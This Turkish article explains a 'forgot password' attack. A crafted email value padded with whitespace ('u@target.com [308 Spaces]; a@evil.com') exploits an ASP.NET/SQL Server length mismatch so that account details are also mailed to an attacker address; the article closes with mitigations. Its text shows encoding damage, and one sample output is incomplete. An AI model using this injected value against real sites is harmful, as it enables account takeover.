->
Bu Makalede Web Sitelerinde Bulunan şifremi Unuttum Kısmından Yararlanılarak Yapılacak İşlemler’i Göstereceğiz.Saldırganlar(Defacer) burdaki açıklardan sisteme girebilmektedir.
Bu doküman iki bölüme ayrılmıştır. Birinci bölüm tekniğin temel esaslarından bahsetmektedir, ikinci bölüm ise ticari uygulamalarına karşıolan ataklarıiçermektedir.
“şÄ°FREMİ UNUTTUM †ATAÄžI
Web uygulamalarında çoğunlukla kullanıcının hesabının doğrulanmasıgerekmektedir. Ayrıca kullanıcının şifresini yenilenmesi ya da yeniden verilmesini sağlayan yöntemlerde bulunmaktadır.
Bu parçalar farklıgenişlikte çalışmaktadırlar. Bunun bir kaç nedeni bulunmaktadır. Örneğin: stil, dil, mantık ya da işletilen sistem. Bu atağıbir ortam yâda geliştirme stili ile sınırlandırmamak gerekir. Bu dokuman ile aşağıdaki bilinen parçalara adapte olunmuştur.
NOT: Bu örnek Sec-1 ASNA takımıile gerçek bir web uygulamasına
dayanmaktadır.
Ortam
Tür
Tanıtım Serverı
Microsoft IIS 6.0
Server Side Scrip Türü
ASPi.NET (Visual Basic)
Veritabanı
MS SQL Server (Stored Procedure [SaklıYordam] kullanılmıştır)
şifre Hatırlatma İşlemi
1- Kullanıcıe-mail adresini girer.
2- E-mail adresi SQL değişkenine yüklenir. Daha sonra değişken bir SQL veritabanında kullanıcının hesabınıbulmak için arama işleminde kullanılır. Kullanıcıadı(e-mail) adresi ve şifre elde edilir.
3- Uygulamanın e-maili (yani web sayfası) kullanıcıya hesap bilgilerini gönderir.
SALDIRI ÖNSÖZÜ
Önce saldırıişlemini ayırıyoruz. Çünkü bu anahtar öğenin üzerini örtmek için önemlidir. Anahtar öğe bu atağın gerçekleşmesini olanaklıhale getirir. şayet VB.Net ve Microsoft SQL değikenlerini
biliyorsanız bu kısmıgeçebilirsiniz.
Server Değişkenleri
Değişkenlerin boyutu ve tipi saldırılar ve kusurlar için vurgulanacak bir anahtardır.Bu örnekte VB ( ASP .NET) ve Microsoft SQL server kullanılmıştır. Bunların her birinde değişken tanımıbirazcıkta olsa farklıdır. Aşağıdaki örnekleri inceleyin:
ASP .NET (VB) De Değişken Tanımı
Dim UserNameAsEmail AS String
Yukarıdaki değişken programcıtarafından oluşturulur. Değişkenin adıUserNameAsEmail dir ve kullanıcının email adresini tutar. (bu durumda email adresi ve kullanıcıadıbir tane ve aynıdır)Madem ki bu bir Visual Basic uygulamasıprogramcının maksimim boyutu belirtmesi gerekmemektedir. (default değeri 64KB tır.) Fakat bu önerilir.
Microsoft SQL De Değişken Tanımı
Declare @UserNameAsEmail varchar(320)
Yukarıdaki SQL ifadesi en fazla 320 karakter tutacak şekilde bir değişken oluşturur RFC 2821 ye gore geçerli bir e-mail adresinin uzunluğu en fazla 320 karakterdir. Varchar tipinin maksimum alabileceği uzunluk 8000 bytes dır.
Beyaz Boşluk
Microsoft SQL server string değerlerindeki beyaz boşluk izlerini önem vermez.. Aşağıdaki SQL ifadesinde bu gösterilmiştir.
1> declare @UserNameAsEmail varchar(320)
2> set @UserNameAsEmail = ’garyo@sec-1.com’
3> select username,password FROM UserEmail where username=@UserNameAsEmail
4> go
username                               password
——————-Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â ————-
garyo@sec-1.com                      d32ed£%dZZA
Beyaz boşluk izleri yaparakta yanısonuc elde ederiz.
1> declare @UserNameAsEmail varchar(320)
2> set @UserNameAsEmail = ’garyo@sec-1.com                      ’
3> select username,password FROM UserEmail where username=@UserNameAsEmail
4> go
username                      password
——————-Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â –
Savunmasızlık (The Vulnerability)
vulnerability ASP.NET değişkenleri ve Microsoft SQL değişkenleri birbiri ile örtüşmediği zaman oluşur. Eğer ASP.NET değişkeninin uzunluğu SQL server ın maksimum uzunluğundn büyük olursa , bizim göndereceğimiz değeri “şifremi unuttum†işlevininde etki etmek için kullanılabilecektir. Bizim amacımız, SQL Servara email adresini geçerli olarak yorumlatmak
ve herhangi bir email adresi aracılığıile saldırgana bir kullanıcıhesabıgöndermektir.
Aşağıdaki öreği inceleyelim
(Not değişken uzunluklarıbu döküman için orantılıbir şekilde belirlenmiştir.)
ADIM 1:
Saldırgan email adreslerini girer. u@target.com kurbanın mail adresi
, a@evil.com ise saldırganın mail adresi
u@target.com [308 Spaces]; a@evil.com
Bu .Net değişkeni olan UserNameAsEmail e yüklenecektir.
Â
ADIM 2:
Kullanıcın email adresi SQL server değişkenine kopyalanacaktır. SQL server değişkeni en fazla verinin 320 byte olan kısmınıtutacaktır. Bu nedenle beyaz boşluklar bitten yere kadar olan
yeri kopyalayacaktır.
Misrosoft SQL Server Değişkeni:
Yukarıda gösterildiği şeklide Microsoft SQL değişkeni tutacaktır ve daha sonra kullanıcının şifresinin detaylarınıgetirecektir.
ADIM 3:
Kurban kullanıcıiçin geçerli bir email adresi girdiğimiz varsayalım.
SQL server kullanıcının hesabınıgüvenli bir şekilde .NET uygulamasına getirecektir. Kullanıcının “şifremi unuttum†için bir bölüm dizayn edilecektir.Beyaz boşluk ASP.NET email fonksiyonu tarafından istenilen mail adresini yapmak için görmezlikten gelinecektir:
u@target.com; a@evil.com
Bir email kullanıcıhesabının detaylarınıiçerebilir ve hem kullanıcıya hemde saldırgana mail gider.
SAVUNMASIZLIÄžI AZALTMAK
Bu makalede tanımlanan problem güvenli uygulamalr geliştirmek için kolay bir yöntemdir. Örneğin bu makaledeki ufak bir kod değişiklik ile savunmasızlığın ortadan kaldırıyoruz.
Input (Girdi ) Doğruluğu
İlk adım olarak sadece iyi karakterlere izin verilip geçerli bir mail adresi girilmeli .Herhangi bir ihlalin filitrelenmesi diğer analiz için kilitlenmeli. Bir emailde iyi karakterler için RFC28223 ve Wikipedia makalelerine bakılabilir.
Güvenli Değişken Oluşturmak
.NET ve Microsoft SQL server değişkenlerinin maksimum uzunluğunun aynıolduğundan emin olun. Yukarıdaki örnekte aşağıdaki gibi tanımlanmasıgerekmektedir:
Dim UserNameAsEmail AS String * 320
Declare @UserNameAsEmail varchar(320)
Powered by MightyAdsense